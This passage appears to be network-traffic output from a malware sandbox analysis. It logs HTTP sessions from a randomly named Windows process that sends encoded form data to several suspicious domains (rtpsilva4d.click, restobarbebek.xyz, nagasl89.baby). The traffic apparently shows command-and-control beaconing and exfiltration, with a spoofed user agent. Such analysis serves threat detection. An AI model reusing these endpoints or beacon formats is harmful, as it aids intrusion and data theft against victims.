aNXP_jw=J+GqkxZGxkCVuHlmqk1JVdCD3iFuXidPrWS69k7Iip1u+G27VEqcF/+Uhc+RA8L1yfQjy4ikljhpIawvchshtx+c6HanxoFFBmEKBc3nGfeQZu8DUhh2AeLOCDZgj2tLk+bPd/owwxtY9n86tR4tDsEkoZ5fFuQ5Ta/AtFZN74J6G69yw9W9ibQ4nW7mcY0H8AaAMozxiDfk7B1nVVzIrXOta6HhSrMyeA==
Dec 2, 2024 14:40:13.518690109 CET	479	IN	HTTP/1.1 404 Not Found Date: Mon, 02 Dec 2024 13:40:13 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	50027	67.223.117.169	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:40:14.933132887 CET	1856	OUT	POST /mbcs/ HTTP/1.1 Host: www.rtpsilva4d.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.rtpsilva4d.click Referer: http://www.rtpsilva4d.click/mbcs/ Content-Length: 1248 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 4a 2b 47 71 6b 78 5a 47 78 6b 43 56 75 48 6c 6d 71 6b 31 4a 56 64 43 44 33 69 46 75 58 69 64 50 72 57 53 36 39 6b 37 49 69 70 74 75 2b 31 75 37 58 6e 53 63 45 2f 2b 55 72 38 2b 51 41 38 4c 73 79 66 34 6e 79 34 75 61 6c 68 4a 70 48 66 6b 76 49 43 30 68 69 78 2b 63 6e 58 61 6d 31 6f 46 71 42 6d 55 4f 42 63 6e 6e 47 66 65 51 5a 73 6b 44 55 30 56 32 4e 2b 4c 42 4b 6a 5a 38 31 47 73 65 6b 34 79 36 64 2f 38 4b 33 41 4e 59 38 48 73 36 76 6b 6b 74 43 4d 45 69 72 5a 35 39 46 75 4e 37 54 62 54 4d 74 47 45 6d 37 34 4e 36 47 4e 73 44 31 65 36 63 68 61 34 6e 32 45 7a 59 53 74 73 35 79 67 4f 62 64 4b 50 4e 72 58 4c 63 6a 46 42 4c 51 32 36 57 69 6b 76 44 47 39 57 43 58 70 35 35 4a 6b 2b 65 43 49 6a 35 44 74 2b 5a 48 32 4c 59 66 6c 2b 61 64 68 57 36 71 34 57 4e 6e 4e 58 56 47 6a 4b 66 58 6c 6b 35 4b 6c 73 77 76 73 74 42 63 54 4b 35 30 45 4c 51 6f 33 58 42 38 6f 65 4c 50 32 49 6b 50 5a 61 72 54 64 68 79 4e 5a 71 35 78 4a 71 6a 4f 43 6d 64 4e 45 41 71 66 72 79 78 52 59 64 47 77 50 7a 68 59 6d [TRUNCATED] Data Ascii: aNXP_jw=J+GqkxZGxkCVuHlmqk1JVdCD3iFuXidPrWS69k7Iiptu+1u7XnScE/+Ur8+QA8Lsyf4ny4ualhJpHfkvIC0hix+cnXam1oFqBmUOBcnnGfeQZskDU0V2N+LBKjZ81Gsek4y6d/8K3ANY8Hs6vkktCMEirZ59FuN7TbTMtGEm74N6GNsD1e6cha4n2EzYSts5ygObdKPNrXLcjFBLQ26WikvDG9WCXp55Jk+eCIj5Dt+ZH2LYfl+adhW6q4WNnNXVGjKfXlk5KlswvstBcTK50ELQo3XB8oeLP2IkPZarTdhyNZq5xJqjOCmdNEAqfryxRYdGwPzhYmiFMm9zKUaJqFWZ+zE7U/tPf4be3CC9Pv3JhW3Is5lZEvH5lzZn2QHynY+AjqLSXwM1mpaAVuimPvIH0S6eUZx2/028BJZ3v/lBh1NFI11Gps47S+gIlfg+R8WQTsIS3lH477TqEgrLpWCubkRe/x/ZyZ9u+EcfROb9+wIOJ5SGlHCKdvIoquQPN0qhXjW+wda6D22hceRlrfnmeORWqUS+yiXGjFmzOOinC1gi933wqh8HqwNIISQAjB8LcAqyiGc02005YkI+Ch9Nz2zpK2yjwcJvgKCmOZcxMlp8BYT+o/td4RJ/nKHV6vUVFl2sTXIlYXVXNCl93izb0cXMC43JEzM+3OxeqXfFt0lr7a9ULsd1UaMcac1xTIMiooExzg2pe2LcaStHq8b7UxvJfbw561XqRdZk52bzg/WO3nUxGTf7kHVPJpZcA4hGAKaNQ4QD9JVYr7NsmSpKkKVnx8X5aFOfzjSvdCMzufeBQVWw/277dpSnx6EptqIApSbi8n0CR514ffotdElwDJRDsvau6TF2jurZ/d6y9YliXfmZaQRzIyrWZVQbQ9kcnvXlXB01iBsHxVvcfqunSTSUiua2dBtyV42fobsglZNdi68caL5SXHS5fQ+PVtzU28wvl5s4OzfYNI3Sss0kMVJtrSYPOkpNksvY1Rlv [TRUNCATED]
Dec 2, 2024 14:40:16.194259882 CET	479	IN	HTTP/1.1 404 Not Found Date: Mon, 02 Dec 2024 13:40:15 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	50028	67.223.117.169	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:40:17.599652052 CET	553	OUT	GET /mbcs/?cTT8u=Q4NHoHJ0&aNXP_jw=E8uKnHhByG2Tv3dXt0hUXbTg8EJLb11h3Xjfw3eru7l4vir7amLvL6eqi8CHILvLkZwm8qiwgwp5C/0JAU8dpm6junvogZRuLkUhLJLqNe6fCvA+b04RO+uOFUQ6tBhUgoCpKJY= HTTP/1.1 Host: www.rtpsilva4d.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)
Dec 2, 2024 14:40:18.811355114 CET	479	IN	HTTP/1.1 404 Not Found Date: Mon, 02 Dec 2024 13:40:18 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	50029	85.159.66.93	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:40:24.729211092 CET	822	OUT	POST /jm9b/ HTTP/1.1 Host: www.restobarbebek.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.restobarbebek.xyz Referer: http://www.restobarbebek.xyz/jm9b/ Content-Length: 212 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 61 71 35 73 6d 6d 39 4b 7a 32 74 57 35 41 63 43 42 58 43 38 47 45 57 5a 33 66 4f 70 33 75 70 4c 4a 2b 4c 38 61 4f 71 77 63 44 6f 6e 54 70 59 76 45 2b 5a 4c 79 75 32 5a 44 36 52 42 6a 78 58 61 73 50 61 78 4f 46 52 64 33 4f 58 50 36 75 71 54 7a 6a 30 57 68 43 6d 37 32 2f 6c 61 75 68 5a 53 51 55 76 4e 53 77 32 50 6e 46 78 70 79 62 44 42 62 6c 58 32 70 36 59 45 51 79 62 45 5a 62 37 69 6f 39 33 6f 61 50 54 67 5a 4a 61 6b 32 79 33 4e 38 62 4d 68 57 56 69 58 37 35 36 70 4b 78 79 2b 47 75 72 75 38 4a 66 69 67 47 66 38 53 53 6c 31 48 78 31 2f 67 2b 42 51 74 65 6b 53 30 64 44 48 65 52 73 63 42 30 55 41 72 51 46 43 Data Ascii: aNXP_jw=aq5smm9Kz2tW5AcCBXC8GEWZ3fOp3upLJ+L8aOqwcDonTpYvE+ZLyu2ZD6RBjxXasPaxOFRd3OXP6uqTzj0WhCm72/lauhZSQUvNSw2PnFxpybDBblX2p6YEQybEZb7io93oaPTgZJak2y3N8bMhWViX756pKxy+Guru8JfigGf8SSl1Hx1/g+BQtekS0dDHeRscB0UArQFC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	50030	85.159.66.93	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:40:27.402673006 CET	846	OUT	POST /jm9b/ HTTP/1.1 Host: www.restobarbebek.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.restobarbebek.xyz Referer: http://www.restobarbebek.xyz/jm9b/ Content-Length: 236 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 61 71 35 73 6d 6d 39 4b 7a 32 74 57 6f 51 4d 43 48 30 36 38 41 6b 57 65 34 2f 4f 70 2b 4f 70 48 4a 2b 48 38 61 4c 4b 65 64 77 63 6e 53 4d 38 76 46 36 4e 4c 38 4f 32 5a 4d 71 52 41 75 52 58 45 73 50 57 44 4f 45 39 64 33 4f 44 50 36 73 69 54 7a 55 49 58 75 79 6d 35 33 50 6c 59 78 78 5a 53 51 55 76 4e 53 32 61 78 6e 46 35 70 79 71 7a 42 64 77 6a 78 31 71 59 48 64 69 62 45 64 62 37 6d 6f 39 32 4e 61 4f 4f 4c 5a 4b 79 6b 32 79 48 4e 38 4b 4d 69 59 56 69 5a 6a 5a 37 45 4e 41 53 32 66 4f 2f 75 36 6f 48 68 30 78 66 2b 58 6b 34 76 62 43 31 63 79 75 68 53 74 63 38 67 30 39 44 74 63 52 55 63 54 6a 59 6e 6b 6b 67 68 43 43 58 38 76 53 44 35 6f 4d 6a 6e 31 59 64 49 2b 64 79 32 42 77 3d 3d Data Ascii: aNXP_jw=aq5smm9Kz2tWoQMCH068AkWe4/Op+OpHJ+H8aLKedwcnSM8vF6NL8O2ZMqRAuRXEsPWDOE9d3ODP6siTzUIXuym53PlYxxZSQUvNS2axnF5pyqzBdwjx1qYHdibEdb7mo92NaOOLZKyk2yHN8KMiYViZjZ7ENAS2fO/u6oHh0xf+Xk4vbC1cyuhStc8g09DtcRUcTjYnkkghCCX8vSD5oMjn1YdI+dy2Bw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	50031	85.159.66.93	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:40:30.076677084 CET	1859	OUT	POST /jm9b/ HTTP/1.1 Host: www.restobarbebek.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.restobarbebek.xyz Referer: http://www.restobarbebek.xyz/jm9b/ Content-Length: 1248 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 61 71 35 73 6d 6d 39 4b 7a 32 74 57 6f 51 4d 43 48 30 36 38 41 6b 57 65 34 2f 4f 70 2b 4f 70 48 4a 2b 48 38 61 4c 4b 65 64 78 6b 6e 53 36 67 76 48 64 68 4c 39 4f 32 5a 4b 61 52 46 75 52 57 42 73 4d 6d 39 4f 45 41 69 33 49 50 50 37 4a 32 54 31 67 63 58 31 69 6d 35 38 76 6c 64 75 68 59 59 51 51 4c 33 53 77 36 78 6e 46 35 70 79 6f 72 42 4c 56 58 78 6d 61 59 45 51 79 62 41 5a 62 37 4f 6f 39 2f 77 61 4f 62 77 5a 37 53 6b 32 57 6a 4e 35 34 6b 69 51 56 69 62 67 5a 37 63 4e 41 66 6f 66 50 53 64 36 6f 69 47 30 32 66 2b 55 44 4d 78 4f 42 46 48 75 50 34 79 7a 37 4d 38 79 4a 66 35 46 58 45 34 63 42 42 50 6d 57 34 2b 4b 46 76 6b 35 54 6a 68 2b 38 72 55 37 66 34 2f 2b 59 50 64 53 38 67 78 56 48 47 65 5a 71 6b 2b 7a 37 49 56 36 48 36 6c 33 4a 6a 6c 67 74 51 61 69 71 55 4b 72 59 48 2b 36 6a 53 38 62 64 48 42 78 6a 37 66 44 51 2f 62 47 58 71 6e 33 6b 4d 4e 35 77 49 36 7a 55 34 50 36 33 42 6b 58 33 2f 61 2b 63 2b 75 45 7a 42 35 58 6c 58 69 62 47 79 4b 47 54 61 4c 31 79 7a 6c 38 4c 47 39 73 33 [TRUNCATED] Data Ascii: aNXP_jw=aq5smm9Kz2tWoQMCH068AkWe4/Op+OpHJ+H8aLKedxknS6gvHdhL9O2ZKaRFuRWBsMm9OEAi3IPP7J2T1gcX1im58vlduhYYQQL3Sw6xnF5pyorBLVXxmaYEQybAZb7Oo9/waObwZ7Sk2WjN54kiQVibgZ7cNAfofPSd6oiG02f+UDMxOBFHuP4yz7M8yJf5FXE4cBBPmW4+KFvk5Tjh+8rU7f4/+YPdS8gxVHGeZqk+z7IV6H6l3JjlgtQaiqUKrYH+6jS8bdHBxj7fDQ/bGXqn3kMN5wI6zU4P63BkX3/a+c+uEzB5XlXibGyKGTaL1yzl8LG9s3u+j5KY7nPLSF7ZOdRJ1fcVq/+524T+MBeXRnkHCJQKoWMVlURYMQzLUSzpeV/WvCXcQ3BZ4kATn+ez0WEuwt0+o0F3+z0bfJ8wTwOQkeB/9kig2GSHbE3rMCLrc4f5oxkiyDbyveSCeNncBMtb+wJaRPgqk6nKy4/pioF889ecfaUu9gJJEmFk+pEjozxpkWl6BOMEOcKbvkfMmpUpJC1yz1gNaq3ZrSksOqcubIFai9dHeG7S4rE7EG+y3rqsp+qiChrE36R/KTDbx1bv1VD8WJdryvAcScTjbZVDUJbt1fo3EtqHw2nmqny7tdSrN/KMA6P4OJCUjnagcQU0p0gEKx0SYjTwSqUBL/Vwdzx5mBImIQunMWMKmkilV9/ssRw0T3+lOI4+ZHBzcZlCTIxH2Q5HPDkiyuw+8c2SG2KsZAwE3MVvVbRMKBajv75MbBHSIEPNytwaSPUp7OIxPowu/p1kgM9bQLJQUvKPy+iJyBpBdgv8ZGOgKlR90sNS/rxPOsgYzWbQx3wP4x/B03Ufbc/kGSxgFUAK5phS0mPS3PE0XYHM8LPQSA/nxB0byg23VgIkXhc65MYDy1qUYxQNjOqxIwUQMreOtqvl3IUK02InB5DkZhWv1vkpUyZYERCDreLpjHAdEZsk9x03wCuJJSmzNuYa8jQr [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	50032	85.159.66.93	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:40:32.738020897 CET	554	OUT	GET /jm9b/?aNXP_jw=XoRMlRQavUBSvHE6AV2eFSHD1vC94NgmQfaFO5StTzEKBs4nBsZa6I2TGaV3pACayJ+XHXZH2+vi6MzB3UVzgDaP4LABx1lqbBfrXRaislputLbkLl7Cj+NmRWLfbOqf/tiSO58=&cTT8u=Q4NHoHJ0 HTTP/1.1 Host: www.restobarbebek.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)
Dec 2, 2024 14:40:34.108509064 CET	225	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.1 Date: Mon, 02 Dec 2024 13:40:33 GMT Content-Length: 0 Connection: close X-Rate-Limit-Limit: 5s X-Rate-Limit-Remaining: 19 X-Rate-Limit-Reset: 2024-12-02T13:40:38.8801182Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	50033	162.159.140.104	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:40:39.986907959 CET	810	OUT	POST /w21a/ HTTP/1.1 Host: www.nagasl89.baby Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.nagasl89.baby Referer: http://www.nagasl89.baby/w21a/ Content-Length: 212 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 47 62 35 65 61 71 56 39 7a 4d 78 68 4a 6c 68 2b 47 43 78 77 48 47 4d 4c 61 35 48 72 35 76 43 48 4c 72 36 6c 5a 65 31 67 73 61 34 52 36 4a 61 79 66 65 30 6d 46 62 4d 72 64 72 62 48 6a 73 79 69 69 49 68 6a 46 7a 2f 4a 49 63 65 78 77 36 59 78 74 48 64 75 38 4b 74 33 7a 69 76 48 52 6f 39 7a 79 4d 33 47 74 4c 35 43 41 42 73 6a 72 67 70 73 4b 6f 31 4e 58 77 2f 4a 67 52 52 2f 57 63 5a 57 44 70 36 52 62 4c 4b 52 69 4c 72 7a 77 47 45 2f 32 55 32 64 4b 4f 2f 74 34 55 4f 62 4c 77 62 6c 2b 6d 36 69 4c 7a 4f 6c 63 50 79 76 66 76 43 42 52 34 67 30 7a 63 33 48 38 6f 57 51 36 42 76 54 62 2b 79 59 4a 71 6b 72 44 34 35 48 Data Ascii: aNXP_jw=Gb5eaqV9zMxhJlh+GCxwHGMLa5Hr5vCHLr6lZe1gsa4R6Jayfe0mFbMrdrbHjsyiiIhjFz/JIcexw6YxtHdu8Kt3zivHRo9zyM3GtL5CABsjrgpsKo1NXw/JgRR/WcZWDp6RbLKRiLrzwGE/2U2dKO/t4UObLwbl+m6iLzOlcPyvfvCBR4g0zc3H8oWQ6BvTb+yYJqkrD45H
Dec 2, 2024 14:40:41.528103113 CET	844	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 13:40:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eBQdz5LeQr4xk3hUsotuMitXm9tKfle7p0T2%2BGw4D4qeQx%2BrxhRQs2oFboregOktoIBxiiQYGJ5dKeNvnYIZA8oN1%2F5OSHZbf3zLIf6N0EvHXGbCQJnpUK76%2FIRh%2FlrlkI%2Bpow%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebbbaeb59c98c8d-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2056&min_rtt=2056&rtt_var=1028&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=810&delivery_rate=0&cwnd=244&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 140

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	50034	162.159.140.104	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:40:43.165122032 CET	834	OUT	POST /w21a/ HTTP/1.1 Host: www.nagasl89.baby Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.nagasl89.baby Referer: http://www.nagasl89.baby/w21a/ Content-Length: 236 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 47 62 35 65 61 71 56 39 7a 4d 78 68 50 31 52 2b 41 6c 46 77 50 47 4d 49 47 70 48 72 67 2f 43 44 4c 72 6d 6c 5a 66 67 74 74 70 63 52 36 72 79 79 63 63 63 6d 47 62 4d 72 46 62 62 43 37 4d 79 70 69 49 74 72 46 79 54 4a 49 63 36 78 77 2b 63 78 74 32 64 74 39 61 74 78 38 43 76 42 4d 59 39 7a 79 4d 33 47 74 4c 64 34 41 42 30 6a 72 77 5a 73 4b 4a 31 4f 49 41 2f 4b 33 68 52 2f 41 73 5a 4b 44 70 36 2f 62 50 53 72 69 4a 6a 7a 77 44 34 2f 32 42 43 43 41 4f 2f 72 6e 45 50 32 46 31 47 33 79 6e 71 68 4a 68 57 31 41 2f 69 63 65 5a 66 62 4e 4c 67 58 68 4d 58 46 38 71 4f 69 36 68 76 35 5a 2b 4b 59 62 39 6f 4d 4d 4d 63 6b 78 39 63 55 57 36 41 59 58 4d 73 42 38 33 78 31 32 74 48 6d 37 41 3d 3d Data Ascii: aNXP_jw=Gb5eaqV9zMxhP1R+AlFwPGMIGpHrg/CDLrmlZfgttpcR6ryycccmGbMrFbbC7MypiItrFyTJIc6xw+cxt2dt9atx8CvBMY9zyM3GtLd4AB0jrwZsKJ1OIA/K3hR/AsZKDp6/bPSriJjzwD4/2BCCAO/rnEP2F1G3ynqhJhW1A/iceZfbNLgXhMXF8qOi6hv5Z+KYb9oMMMckx9cUW6AYXMsB83x12tHm7A==
